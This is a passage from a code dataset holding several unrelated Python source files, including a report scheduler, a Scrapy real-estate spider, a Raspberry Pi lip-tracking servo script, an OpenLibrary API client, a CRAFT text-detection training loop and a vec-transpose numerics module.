raw_data,generated_html = response\n generated_report = GeneratedReport()\n generated_report.generated_at = now\n generated_report.name = report.name\n generated_report.type = report.type\n generated_report.raw_data = json.dumps(raw_data)\n generated_report.generated_html = generated_html\n generated_report.save()\n else:\n logger.error(\"Error generating report '%s': %s\" % (report.name,\n response))\n\n # Reschedule the report so that we can run it again later.\n\n report.scheduled_for = self.reschedule_report(report.scheduled_for,\n report.frequency)\n report.save()\n\n # =====================\n # == PRIVATE METHODS ==\n # =====================\n\n def split_time_period(self, s):\n \"\"\" Split a time period string into a prefix and a suffix.\n\n We return a (prefix, suffix) tuple, where 'prefix' is the numeric\n prefix (as a string), and 'suffix' is the rest of the string,\n converted to lowercase.\n \"\"\"\n prefix = []\n suffix = []\n in_prefix = True\n for ch in s:\n if in_prefix:\n if ch in string.digits:\n prefix.append(ch)\n else:\n in_prefix = False\n suffix.append(ch)\n else:\n suffix.append(ch.lower())\n\n prefix = \"\".join(prefix)\n suffix = \"\".join(suffix)\n\n return (prefix, suffix)\n\n\n def reschedule_report(self, scheduled_for, frequency):\n \"\"\" Calculate the date/time when we should next run the given report.\n\n The parameters are as follows:\n\n 'scheduled_for'\n \n A datetime.datetime object holding the current date and\n time this report is scheduled for.\n\n 'frequency'\n\n A string indicating how often to run this report, eg \"30s\"\n for 30 seconds, \"1d\" for one day, etc.\n\n We return a datetime.datetime object with the next time to\n scheduled this report for.\n \"\"\"\n n,size = self.split_time_period(frequency)\n\n try:\n n = int(n)\n except ValueError: # Should never happen.\n logger.error(\"Invalid frequency: '%s'\" % frequency)\n return scheduled_for + datetime.timedelta(days=1)\n\n if size == \"s\":\n return scheduled_for + datetime.timedelta(seconds=n)\n elif size == \"m\":\n return scheduled_for + datetime.timedelta(minutes=n)\n elif size == \"h\":\n return scheduled_for + datetime.timedelta(hours=n)\n elif size == \"d\":\n return scheduled_for + datetime.timedelta(days=n)\n else: # Should never happen.\n logger.error(\"Invalid frequency: '%s'\" % frequency)\n return scheduled_for + datetime.timedelta(days=1)\n\n","sub_path":"statsAPI/reporting/workers.py","file_name":"workers.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"403898069","text":"# coding:utf-8\n\nfrom scrapy.contrib.spiders import CrawlSpider\nfrom ..items import House365Item\nimport bs4\nimport scrapy\n\n\nclass House365Spider(CrawlSpider):\n #\n # 抓取365 地产 规则\n #\n\n name = 'house365spider'\n allowed_domains = ['house365.com']\n start_urls = ['http://www.house365.com/']\n\n def parse(self, response):\n data = response.body\n soup = bs4.BeautifulSoup(data, 'lxml')\n\n #\n # 获取 城市列表\n #\n\n citybox = soup.select('.allcitys-detail > a')\n for child in citybox:\n city = child.get_text()\n city_url = child.get('href')\n city_id = child.get('href').replace('http://', '').replace('.house365.com/', '').replace('index.html', '')\n site_url = 'http://newhouse.' + city_id + '.house365.com/house/channel-1'\n print(city, city_id, site_url)\n citys = {\n 'website': '365地产', 'web_url': 'house365.com',\n 'city': city, 'city_id': city_id\n }\n # if city == '郑州':\n yield scrapy.Request(site_url, callback=self.parse_city_area, meta=citys)\n\n def parse_city_area(self, response):\n meta = response.meta\n data = response.body\n soup = bs4.BeautifulSoup(data, 'lxml')\n\n #\n # 获取 城市下面的 区域\n #\n\n arealist = soup.select('.w920')\n if arealist:\n areabox = soup.select('.w920')[1]\n areas = areabox.select('a')\n for child in areas:\n area = child.get_text()\n area_url = child.get('href')\n if area != '全部':\n meta['area'] = area\n yield scrapy.Request(area_url, callback=self.parse_city_estate, meta=meta)\n\n def parse_city_estate(self, response):\n meta = response.meta\n area = meta['area']\n data = response.body\n soup = bs4.BeautifulSoup(data, 'lxml')\n\n #\n # 获取楼盘信息\n #\n\n estatebox = soup.select('.tit > h3')\n for child in estatebox:\n estate = child.a.get_text()\n estate_url = child.a.get('href')\n estate_id = child.a.get('href').split('/')[-2]\n meta['estate'] = estate\n meta['estate_url'] = estate_url\n meta['estate_id'] = estate_id\n\n site_url = estate_url\n yield scrapy.Request(site_url, callback=self.parse_get_estate_id2, meta=meta)\n\n #\n # 翻页\n #\n\n pages = soup.select('.pageList')\n if pages:\n next_page = soup.select('.pageList > a')[-3]\n next = next_page.get_text().strip()\n if next == '下一页':\n next_url = next_page.get('href')\n\n yield scrapy.Request(next_url, callback=self.parse_city_estate, meta=meta)\n\n def parse_get_estate_id2(self, response):\n meta = response.meta\n data = response.body\n soup = bs4.BeautifulSoup(data, 'html5lib')\n\n #\n # 获取楼盘 id2\n #\n\n result = soup.findAll('input', class_='prj_id')\n if result:\n estate_id2 = result[0].get('value')\n item = House365Item()\n item['website'] = meta['website']\n item['web_url'] = meta['web_url']\n item['city'] = meta['city']\n item['city_id'] = meta['city_id']\n item['area'] = meta['area']\n item['estate'] = meta['estate']\n item['estate_id'] = meta['estate_id']\n item['estate_url'] = meta['estate_url']\n item['estate_id2'] = estate_id2\n yield item\n","sub_path":"Engineer/house/house365/house365/spiders/house365_spider.py","file_name":"house365_spider.py","file_ext":"py","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"201991407","text":"import cv2\nimport numpy as np\nimport dlib\nfrom math import sqrt\nfrom time import time\nfrom time import sleep\nimport RPi.GPIO as GPIO\n\nGPIO.setmode(GPIO.BOARD)\nGPIO.setup(11,GPIO.OUT)\nGPIO.setup(13,GPIO.OUT)\nservoX = GPIO.PWM(11,50)\nservoY = GPIO.PWM(13,50)\nservoX.start(0)\nservoY.start(0)\n\ncap = cv2.VideoCapture(0)\ncap.set(3, 320)\ncap.set(4, 240)\ncapWidth = cap.get(3)\ncapHeight = cap.get(4)\n\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(\"shape_predictor_68_face_landmarks.dat\")\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\n\nlast_frame_time = time()\n\ndef draw_circle(frame, x, y):\n cv2.circle(frame, (x, y), 1, (0, 0, 255), -1)\n \ndef draw_cross(frame, x, y):\n cv2.line(frame,(x-5,y),(x+5,y),(255,255,255),1)\n cv2.line(frame,(x,y-5),(x,y+5),(255,255,255),1)\n\ndef drawText(frame, textArr):\n textArr.reverse()\n frame_height, frame_width, frame_channels = frame.shape\n for i in range(len(textArr)):\n height = frame_height - ((i + 1) * 11)\n cv2.putText(frame,textArr[i],(10,height), font, 0.4,(255,255,255),1,cv2.LINE_AA, False)\n\n\ndef get_lips(landmarks):\n return {\n \"top\": {\n \"x\": landmarks.part(62).x,\n \"y\": landmarks.part(62).y\n },\n \"bottom\": {\n \"x\": landmarks.part(66).x,\n \"y\": landmarks.part(66).y\n },\n \"left\": {\n \"x\": landmarks.part(60).x,\n \"y\": landmarks.part(60).y\n },\n \"right\": {\n \"x\": landmarks.part(64).x,\n \"y\": landmarks.part(64).y\n }\n }\n\ndef get_centre(lips):\n return {\n \"x\": round((lips['top']['x'] + lips['bottom']['x'] + lips['left']['x'] + lips['right']['x']) / 4),\n \"y\": round((lips['top']['y'] + lips['bottom']['y'] + lips['left']['y'] + lips['right']['y']) / 4)\n }\n\ndef get_is_open(lips):\n height = round(sqrt((abs(lips['top']['x'] - lips['bottom']['x']) ** 2) + (abs(lips['top']['y'] - lips['bottom']['y']) ** 2)))\n width = round(sqrt((abs(lips['left']['x'] - lips['right']['x']) ** 2) + (abs(lips['left']['y'] - lips['right']['y']) ** 2)))\n return height > width * 0.55\n\ndef get_fps():\n global last_frame_time\n current_time = time()\n fps = round(1 / (current_time - last_frame_time), 2)\n last_frame_time = current_time\n return fps\n\n\n################################\n##### run loop starts here #####\n################################\n\nwhile True:\n ret, frame = cap.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n textArr = []\n \n faces = detector(gray)\n if len(faces) > 0:\n face = faces[0]\n x1 = face.left()\n y1 = face.top()\n x2 = face.right()\n y2 = face.bottom()\n cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 1)\n\n landmarks = predictor(gray, face)\n lips = get_lips(landmarks)\n centre = get_centre(lips)\n \n #servos\n if get_is_open(lips) :\n angleX = 180 - (180 * (centre['x'] / capWidth))\n servoX.ChangeDutyCycle(2+(angleX/18))\n \n angleY = 180 - (180 * (centre['y'] / capHeight))\n servoY.ChangeDutyCycle(2+(angleY/18))\n \n sleep(0.05)\n servoY.ChangeDutyCycle(0)\n servoX.ChangeDutyCycle(0)\n\n #draw\n for pos in lips.values():\n x = pos['x']\n y = pos['y']\n draw_circle(frame, x, y)\n draw_cross(frame, centre['x'], centre['y'])\n\n textArr.append(\"centre: \" + str(centre))\n textArr.append(\"is_open: \" + str(get_is_open(lips)))\n \n textArr.append(\"fps: \" + str(get_fps()))\n drawText(frame, textArr)\n cv2.imshow('test1.py',frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q') :\n break\n\n\n\ncap.release()\ncv2.destroyAllWindows()\nservoX.stop()\nservoY.stop()\nGPIO.cleanup()\nprint(\"Goodbye!\")\n","sub_path":"face_detection.py","file_name":"face_detection.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"88959247","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom employees_database_setup import Base, Employee, Address\n\n# Define the engine and bind the metadata\nengine = create_engine('sqlite:///employeeData.db')\nBase.metadata.bind = engine\n\n# Create a session\nDBSession = sessionmaker(bind = engine)\nsession = DBSession()\n\n# Add first employee\nfirstEmployee = Employee(name = \"John Smith\")\nsession.add(firstEmployee)\nsession.commit()\n\n# Add firstEmployee's address\njohnAddress = Address(street \t= \"1024 Register Nine\", \n\t\t\t\t\t zip \t= \"0xCCCC\", \n\t\t\t\t\t employee \t= firstEmployee)\nsession.add(johnAddress)\nsession.commit()","sub_path":"vagrant/lessons/CRUD/employees_database_data.py","file_name":"employees_database_data.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"443878836","text":"'''\nGiven four lists A, B, C, D of integer values, compute how many tuples (i, j, k, l) there are such \nthat A[i] + B[j] + C[k] + D[l] is zero.\n\nTo make problem a bit easier, all A, B, C, D have same length of N where 0 ≤ N ≤ 500. All integers \nare in the range of -228 to 228 - 1 and the result is guaranteed to be at most 231 - 1.\n\nExample:\n\nInput:\nA = [ 1, 2]\nB = [-2,-1]\nC = [-1, 2]\nD = [ 0, 2]\n\nOutput:\n2\n\nExplanation:\nThe two tuples are:\n1. (0, 0, 0, 1) -> A[0] + B[0] + C[0] + D[1] = 1 + (-2) + (-1) + 2 = 0\n2. (1, 1, 0, 0) -> A[1] + B[1] + C[0] + D[0] = 2 + (-1) + (-1) + 0 = 0\n'''\n\ndef four_sum_count(A, B, C, D):\n hashmap = {}\n for a in A:\n for b in B:\n hashmap[a + b] = hashmap.get(a + b, 0) + 1\n\n count = 0\n for c in C: \n for d in D:\n if -c - d in hashmap:\n count += hashmap[-c - d]\n\n return count\n\ndef four_sum_count(A, B, C, D):\n A_dict, B_dict, C_dict, D_dict = {}, {}, {}, {}\n \n for i in A: A_dict[i] = A_dict.get(i, 0) + 1\n for i in B: B_dict[i] = B_dict.get(i, 0) + 1\n for i in C: C_dict[i] = C_dict.get(i, 0) + 1\n for i in D: D_dict[i] = D_dict.get(i, 0) + 1\n \n AB = {}\n for i in A_dict:\n for j in B_dict:\n if i+j in AB:\n AB[i+j] += A_dict[i] * B_dict[j]\n else:\n AB[i+j] = A_dict[i] * B_dict[j]\n \n count = 0\n for i in C_dict:\n for j in D_dict:\n if -i-j in AB:\n count += C_dict[i] * D_dict[j] * AB[-i-j]\n \n return count","sub_path":"algorithms/binarysearch/4sum_II.py","file_name":"4sum_II.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"268799177","text":"from main import *\nimport os\nfrom shutil import copyfile\n\nconfig = get_config()\n\nf = open(config[\"fpaths\"], \"r\")\nfpaths = f.read().split(\"\\n\")\nf.close()\n\nfnames_in = []\nfnames_out = []\nremaining = os.listdir(config[\"middle\"])\nlog = []\nfor i in range(len(fpaths)):\n print(fpath)\n fname = fpaths[i]\n fname = fpath.split(\"/\")[-1]\n if fname in remaining:\n fnames_in.append(fname)\n path = get_filepath(config[\"in\"],fname)\n try:\n make_filepath(path)\n copyfile(config[\"middle\"] + \"/\" + fname, path)\n except:\n log.append(fname)\n else:\n fnames_out.append(fname)\n path = get_filepath(config[\"out\"],fname)\n try:\n make_filepath(path)\n copyfile(config[\"root\"] + \"/\" + fpath,path)\n except:\n log.append(fname)\n \nfor entry in log:\n print(\"ERR : \" + entry)\n\nf = open(config[\"fnames_in\"],\"w\")\ntry:\n f.write(\"\\n\".join(fnames_in))\nexcept:\n print(\"Failed to write fnames_in\")\nfinally:\n f.close()\n\nf = open(config[\"fnames_out\"],\"w\")\ntry:\n f.write(\"\\n\".join(fnames_out))\nexcept:\n print(\"Failed to write fnames_out\")\nfinally:\n f.close()\n","sub_path":"script2.py","file_name":"script2.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"260835769","text":"\"\"\"A List of RecognizerResult which sort the list using RecognizerResult.__gt__.\"\"\"\nimport logging\nfrom typing import List\n\nfrom presidio_anonymizer.entities import RecognizerResult\n\n\nclass AnalyzerResults(list):\n \"\"\"\n A class which provides operations over the analyzer result list..\n\n It includes removal of unused results and sort by indices order.\n Additional information about the rational of this class:\n - One PII - uses a given or default anonymizer to anonymize and replace the PII\n text entity.\n - Full overlap of PIIs - When one text have several PIIs, the PII with the higher\n score will be taken.\n Between PIIs with similar scores, the selection will be arbitrary.\n - One PII is contained in another - anonymizer will use the PII with larger text.\n - Partial intersection - both will be returned concatenated.\n \"\"\"\n\n logger = logging.getLogger(\"presidio-anonymizer\")\n\n def to_sorted_unique_results(self, reverse=False) -> List[RecognizerResult]:\n \"\"\"\n Create a sorted list with unique results from the list.\n\n _remove_conflicts method - removes results which impact the same text and\n should be ignored.\n using the logic:\n - One PII - uses a given or default anonymizer to anonymize and\n replace the PII text entity.\n - Full overlap of PIIs - When one text have several PIIs,\n the PII with the higher score will be taken.\n Between PIIs with similar scores, the selection will be arbitrary.\n - One PII is contained in another - anonymizer will use the PII\n with larger text.\n - Partial intersection - both will be returned concatenated.\n sort - Use __gt__ of RecognizerResult to compare and sort\n :return: List\n \"\"\"\n self.logger.debug(\"removing conflicts and sorting analyzer results list\")\n analyzer_results = self._remove_conflicts()\n return sorted(analyzer_results, reverse=reverse)\n\n def _remove_conflicts(self):\n \"\"\"\n Iterate the list and create a sorted unique results list from it.\n\n Only insert results which are:\n 1. Indices are not contained in other result.\n 2. Have the same indices as other results but with larger score.\n :return: List\n \"\"\"\n unique_elements = []\n # This list contains all elements which we need to check a single result\n # against. If a result is dropped, it can also be dropped from this list\n # since it is intersecting with another result and we selected the other one.\n other_elements = AnalyzerResults(self)\n for result_a in self:\n other_elements.remove(result_a)\n if not any(\n [\n result_a.has_conflict(other_element)\n for other_element in other_elements\n ]\n ):\n other_elements.append(result_a)\n unique_elements.append(result_a)\n else:\n self.logger.debug(\n f\"removing element {result_a} from results list due to conflict\"\n )\n return unique_elements\n","sub_path":"presidio-anonymizer/presidio_anonymizer/entities/analyzer_results.py","file_name":"analyzer_results.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"68536597","text":"# Copies a feature class from a series of gdbs in one folder to a single gdb\n# ---------------------------------------------------------------------------\n#\nimport time, arcpy, os\n\nprint(''.join([\"## Started on : \", time.ctime()]))\n\narcpy.env.overwriteOutput = True # Overwrites files\n\n# name of folder where the individual gdbs are stored\nfolder = r\"D:\\cenv0389\\OxCamArc\\NatCap_Arc_FreeData\"\narcpy.env.workspace = folder\n\n# name of gdb to copy the individual feature classes into\nout_gdb = r\"D:\\cenv0389\\OxCamArc\\NatCap_Arc_FreeData_LADs.gdb\"\n\n# Wildcard template for feature class to copy over\nfc_template = \"NatCap*\"\n\n# Loop through all gdbs in the input folder\nin_gdbs = arcpy.ListFiles(\"*.gdb\")\nfor gdb in in_gdbs:\n print (\"Copying from \" + gdb)\n arcpy.env.workspace = os.path.join(folder,gdb)\n in_fc = []\n in_fc = arcpy.ListFeatureClasses(fc_template)\n out_fc = os.path.join(out_gdb, in_fc[0])\n print (\"Copying \" + in_fc[0] + \" to \" + out_fc)\n arcpy.CopyFeatures_management(in_fc[0], out_fc)\n\n print(''.join([\"## Finished on : \", time.ctime()]))\n\nexit()","sub_path":"Copy_fcs_to_new_gdb.py","file_name":"Copy_fcs_to_new_gdb.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"410842062","text":"\"\"\"\nFilename: ext_api_interface.py\nDescription: module used for interacting with a web service\n\"\"\"\n\nimport requests\n\nclass Books_API:\n \"\"\"Class used for interacting with the OpenLibrary API.\"\"\"\n\n API_URL = \"http://openlibrary.org/search.json\"\n\n def make_request(self, url):\n \"\"\"Makes a HTTP request to the given URL.\n \n :param url: the url used for the HTTP request\n :returns: the JSON body of the request, None if non 200 status code or ConnectionError\n \"\"\"\n try:\n response = requests.get(url)\n if response.status_code != 200:\n return None\n return response.json()\n except requests.ConnectionError:\n return None\n\n def is_book_available(self, book):\n \"\"\"Determines if a given book is available to borrow.\n \n :param book: the title of the book\n :returns: True if available, False if not\n \"\"\"\n request_url = \"%s?q=%s\" % (self.API_URL, book)\n json_data = self.make_request(request_url)\n if json_data and len(json_data['docs']) >= 1:\n return True\n return False\n\n def books_by_author(self, author):\n \"\"\"Gets all the books written by a given author.\n \n :param author: the name of the author\n :returns: the titles of all the books in a list form\n \"\"\"\n request_url = \"%s?author=%s\" % (self.API_URL, author)\n json_data = self.make_request(request_url)\n if not json_data:\n return []\n books = []\n for book in json_data['docs']:\n books.append(book['title_suggest'])\n return books\n\n def get_book_info(self, book):\n \"\"\"Gets the information for a given book.\n \n :param book: the title of the book\n :returns: a list of dictionaries with book data\n \"\"\"\n request_url = \"%s?q=%s\" % (self.API_URL, book)\n json_data = self.make_request(request_url)\n if not json_data:\n return []\n books_info = []\n for book in json_data['docs']:\n info = {'title': book['title']}\n if 'publisher' in book:\n info.update({'publisher': book['publisher']})\n if 'publish_year' in book:\n info.update({'publish_year': book['publish_year']})\n if 'language' in book:\n info.update({'language': book['language']})\n books_info.append(info)\n return books_info\n\n def get_ebooks(self, book):\n \"\"\"Gets the ebooks for a given book.\n \n :param book: the title of the book\n :returns: data about the ebooks\n \"\"\"\n request_url = \"%s?q=%s\" % (self.API_URL, book)\n json_data = self.make_request(request_url)\n if not json_data:\n return []\n ebooks = []\n for book in json_data['docs']:\n if book['ebook_count_i'] >= 1:\n ebooks.append({'title': book['title'], 'ebook_count': book['ebook_count_i']})\n return ebooks\n","sub_path":"library/ext_api_interface.py","file_name":"ext_api_interface.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"77825275","text":"##########################################################################\n# This program will take a directory of images and create altered copies #\n# One horizontal flip, one vertical flip, and 23 15 degree rotations #\n##########################################################################\n\nfrom PIL import Image\nimport glob\nimport os\n\n# change this directory to the directory of images you want to alter, does not search recursively\nROOT_DIR = 'C:/Code Tests/images/2357/'\nimage_list = []\nfn = []\n\n# Create glob for iteration\nfor filename in glob.glob(ROOT_DIR + '*.png'):\n im = Image.open(filename)\n image_list.append(im)\n\n# Create filename for append\nfile_list = os.listdir(ROOT_DIR)\nfor files in file_list:\n fn.append(os.path.splitext(files)[0])\n\n# flip horizontally and vertically\ni = 0\nfor image in image_list:\n hoz_flip = image.transpose(Image.FLIP_LEFT_RIGHT)\n hoz_flip.save(ROOT_DIR + 'aug_hozflip_' + fn[i] + '.jpeg', format='JPEG')\n vert_flip = image.transpose(Image.FLIP_TOP_BOTTOM)\n vert_flip.save(ROOT_DIR + 'aug_vertflip_' + fn[i] + '.jpeg', format='JPEG')\n i = i + 1\n\n# rotate in 15 deg increments\ni = 0\nfor image in image_list:\n for x in range(15, 360, 15):\n img_rotate = image.rotate(x)\n img_rotate.save(ROOT_DIR + 'aug_rotate_' + fn[i] + str(x) + '.jpeg', format='JPEG')\n i = i + 1\n\n","sub_path":"augmentation/aug.py","file_name":"aug.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"417183965","text":"from Tkinter import IntVar\nfrom ModifierEvent import *\nimport ScrolledText\n\nclass EditArea(ModifierEvent, ScrolledText.ScrolledText):\n\tdef __init__(self, *a, **b):\n\t\tScrolledText.ScrolledText.__init__(self, *a, **b)\n\t\t# Initialize the ModifierEvent.\n\t\tself._init()\n\n\t\t# Initialize syntax highlighing\n\t\tself.tag_configure('keyword', foreground='#F92672')\n\t\tself.tag_configure('comment', foreground='#75715E')\n\t\tself.tag_configure('class', foreground='#66D9EF')\n\t\tself.tag_configure('string', foreground=\"#E6DB74\")\n\t\tself.tag_configure('type', foreground='#AE81FF')\n\t\tself.tag_configure('function_name', foreground='#A6E22E')\n\n\tdef beenModified(self, event=None):\n\t\tself.search_pattern('(None|False|True)', 'type', regexp=True)\n\t\tself.search_pattern(\"(from|import|try|finally|pass|if |return|while|break|=)\", \"keyword\", regexp=True)\n\t\tself.search_pattern('^\\t*#.*$', 'comment', regexp=True)\n\t\tself.search_pattern('[\\'\"].*[\\'\"]', 'string', regexp=True)\n\t\t# self.search_pattern('def [[:alpha:]]*', 'function_name', regexp=True)\n\t\tself.search_pattern('(class|def)', 'class', regexp=True)\n\n\tdef search_pattern(self, pattern, tag, start=\"1.0\", end=\"end\", regexp=False):\n\t\tstart = self.index(start)\n\t\tend = self.index(end)\n\t\tself.mark_set(\"matchStart\", start)\n\t\tself.mark_set(\"matchEnd\", start)\n\t\tself.mark_set(\"searchLimit\", end)\n\t\tcount = IntVar()\n\t\twhile True:\n\t\t\tindex = self.search(pattern, \"matchEnd\", \"searchLimit\", count=count, regexp=regexp)\n\t\t\tif index == \"\":\n\t\t\t\tbreak\n\t\t\tself.mark_set(\"matchStart\", index)\n\t\t\tself.mark_set(\"matchEnd\", \"%s+%sc\" % (index, count.get()))\n\t\t\tself.tag_add(tag, \"matchStart\", \"matchEnd\")\n\n\tdef changeTabSize(self, tabSize):\n\t\tself.config(tabs= str(tabSize) + 'c')\n\n\tdef selectAll(self, arg):\n\t\tself.tag_add('sel', '1.0', 'end')\n","sub_path":"EditArea.py","file_name":"EditArea.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"500460070","text":"import os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nfrom PIL import Image\nimport numpy as np\n\nfrom luo import TicToc\nfrom torchvision import transforms\nfrom models import network\nfrom models import ohem\n\nfrom dataset import SynthText\nfrom dataset import ReCTS\nfrom dataset import transutils\n\ndef run():\n print(TicToc.format_time(), \"begining.......\")\n image_size = (3, 640, 640)\n train_dataset = SynthText.SynthText(image_size=image_size,\n random_rote_rate=30,\n data_dir_path=\"./data/SynthText/SynthText/\", \n transform=transforms.Compose([\n transutils.RandomCrop((480, 480)),\n transutils.Rescale((640, 640)),\n transutils.Random_change(0.5, 0.5, 0.5, 0.5, 0.5)]))\n train_dataLoader = DataLoader(train_dataset, 4, shuffle=True, num_workers=4, collate_fn=transutils.random_resize_collate)\n test_dataset = SynthText.SynthText(image_size=image_size, istrain=False)\n test_dataLoader = DataLoader(test_dataset, 4, shuffle=False, num_workers=4)\n\n vgg = network.UP_VGG()\n vgg = vgg.to(\"cuda\")\n vgg = torch.load(\"./model/vgg_Sy_0.pkl\")\n print(TicToc.format_time(), \"finish load\")\n\n\n optimizer = torch.optim.Adam(vgg.parameters(), lr = 0.001)\n # crite = nn.MSELoss(reduction=\"mean\")\n # l1_crite = nn.SmoothL1Loss(reduction=\"mean\")\n # cls_crite = nn.CrossEntropyLoss(reduction=\"mean\")\n loss_fn = ohem.MSE_OHEM_Loss()\n loss_fn = loss_fn.to(\"cuda\")\n print(TicToc.format_time(), \" training.........\")\n\n for e in range(1):\n # train\n total_loss = 0.0\n char_loss = 0.0\n aff_loss = 0.0\n b_total_loss = 0.0\n b_char_loss = 0.0\n b_aff_loss = 0.0\n vgg.train()\n\n for i, batch_data in enumerate(train_dataLoader):\n image = batch_data[\"image\"].type(torch.FloatTensor) / 255 - 0.5\n image = image.to(\"cuda\")\n reg, aff = vgg(image)\n predict_r = torch.squeeze(reg, dim=1)\n predict_l = torch.squeeze(aff, dim=1)\n\n targets_r = batch_data[\"char_gt\"].type(torch.FloatTensor)\n targets_r = targets_r.to(\"cuda\")\n\n targets_l = batch_data[\"aff_gt\"].type(torch.FloatTensor)\n targets_l = targets_l.to(\"cuda\")\n\n optimizer.zero_grad()\n loss_r = loss_fn(predict_r, targets_r)\n loss_l = loss_fn(predict_l, targets_l)\n\n loss = loss_r + loss_l #+ loss_cls\n loss.backward()\n optimizer.step()\n\n total_loss += loss.item()\n char_loss += loss_r.item()\n aff_loss += loss_l.item()\n b_total_loss += loss.item()\n b_char_loss += loss_r.item()\n b_aff_loss += loss_l.item()\n\n if i % 1000 == 999:\n print(TicToc.format_time(), e, i, b_total_loss, b_char_loss, b_aff_loss)\n b_total_loss = 0.0\n b_char_loss = 0.0\n b_aff_loss = 0.0\n\n print(\"Train \", TicToc.format_time(), e, total_loss, char_loss, aff_loss)\n\n # test\n with torch.no_grad():\n test_total_loss = 0.0\n test_char_loss = 0.0\n test_aff_loss = 0.0\n\n min_test_loss = 0.0\n \n for i, batch_data in enumerate(test_dataLoader):\n image = batch_data[\"image\"].type(torch.FloatTensor) / 255 - 0.5\n image = image.to(\"cuda\")\n reg, aff = vgg(image)\n predict_r = torch.squeeze(reg, dim=1)\n predict_l = torch.squeeze(aff, dim=1)\n\n targets_r = batch_data[\"char_gt\"].type(torch.FloatTensor)\n targets_r = targets_r.to(\"cuda\")\n\n targets_l = batch_data[\"aff_gt\"].type(torch.FloatTensor)\n targets_l = targets_l.to(\"cuda\")\n\n loss_r = loss_fn(predict_r, targets_r)\n loss_l = loss_fn(predict_l, targets_l)\n\n loss = loss_r + loss_l \n\n test_total_loss += loss.item()\n test_char_loss += loss_r.item()\n test_aff_loss += loss_l.item()\n print(\"Test \", TicToc.format_time(), e, i, test_total_loss, test_char_loss, test_aff_loss)\n torch.save(vgg, \"./model/vgg_Sy.pkl\".format(e))\n\nif __name__ == \"__main__\":\n run()\n\n","sub_path":"CRAFT/train_SynthText.py","file_name":"train_SynthText.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"566601817","text":"'''\nOptimised functions to apply the vec-transpose operator, and create a\nvec-transpose matrix. Also includes an implementation of the vec()\nfunction.\n\nThe vec-transpose operator, given a matrix A and scale p, does a \nfortran-order reshape of each column such that the resulting matrix\ncontains p rows. The ultimate result is the matrix created by stacking\nthese matrices vertically. Vec-Transpose operators crop up with taking\nthe derivative of terms that appear as the left operand in a \nkronecker product.\n\nThe vec-tranpose matrix is the matrix T such that\n T vec(X) = vec(X.T)\n\nCrucially we can construct a T such that a kronecker product A (x) B\ncan be rewritten as T (B (x) A) T' at which point we can use the \nvec-tranpose operator described above to take the derivative of B. \n\nSo both of these crop up with dealing with the derivatives of terms\nin Kronecker products.\n\nNote that some of the implementations here are written in Cython for\nspeed: so Cython is a pre-requisite.\n\nCreated on 9 Nov 2013\n\n@author: bryanfeeney\n'''\n\nimport numpy as np\nimport scipy.sparse as ssp\n\n#from numba import autojit\nfrom math import floor\n\nimport pyximport; \npyximport.install(setup_args={\"include_dirs\": np.get_include()}, reload_support=True)\nimport sidetopics.util.vt_fast as compiled\n\ndef vec(A):\n '''\n The vec operator for a matrix: returns a vector with all the columns of the\n matrix stacked on atop the other. For fortran/column ordered matrices this\n is essentially a no-op\n '''\n return np.reshape(A, (-1,1), order='F')\n\ndef vec_transpose_csr(A, p):\n '''\n Applies the vec-transpose operator to the given sparse matrix, which is stored in\n C / row-wise format\n \n Returns a new matrix after the vec-transpose operator has been applied.\n \n The vec-transpose operating on matrix A with scale p reshapes in fortran/column order each \n column in that matrix into a matrix with p rows. It then returns a matrix of these sub-matrices\n stacked from top to bottom corresponding to columns read from left to right.\n '''\n (oldRows, oldCols) = A.shape\n if A.dtype == np.float64:\n return compiled.sparse_vec_transpose_f8r (A.data, A.indices, A.indptr, oldRows, oldCols, p)\n elif A.dtype == np.float32:\n return compiled.sparse_vec_transpose_f4r (A.data, A.indices, A.indptr, oldRows, oldCols, p)\n elif A.dtype == np.int32:\n return compiled.sparse_vec_transpose_i4r (A.data, A.indices, A.indptr, oldRows, oldCols, p)\n else: # Fall back on pure python (albeit with JIT compilation)\n return _vec_transpose_csr_jit(A.data, A.indices, A.indptr, A.shape, p)\n \n\n#@autojit\ndef _vec_transpose_csr_jit(data, indices, indptr, shape, p):\n '''\n Applies the vec-transpose operator to the given sparse matrix, which is stored in\n C / row-wise format. This is a pure Python implementation that uses Numba for some\n speed improvements. The public method will defer to compiled Cython code where the\n datatype is a 32-bit or 64-bit float, and so should be called accordingly.\n \n Returns a new matrix after the vec-transpose operator has been 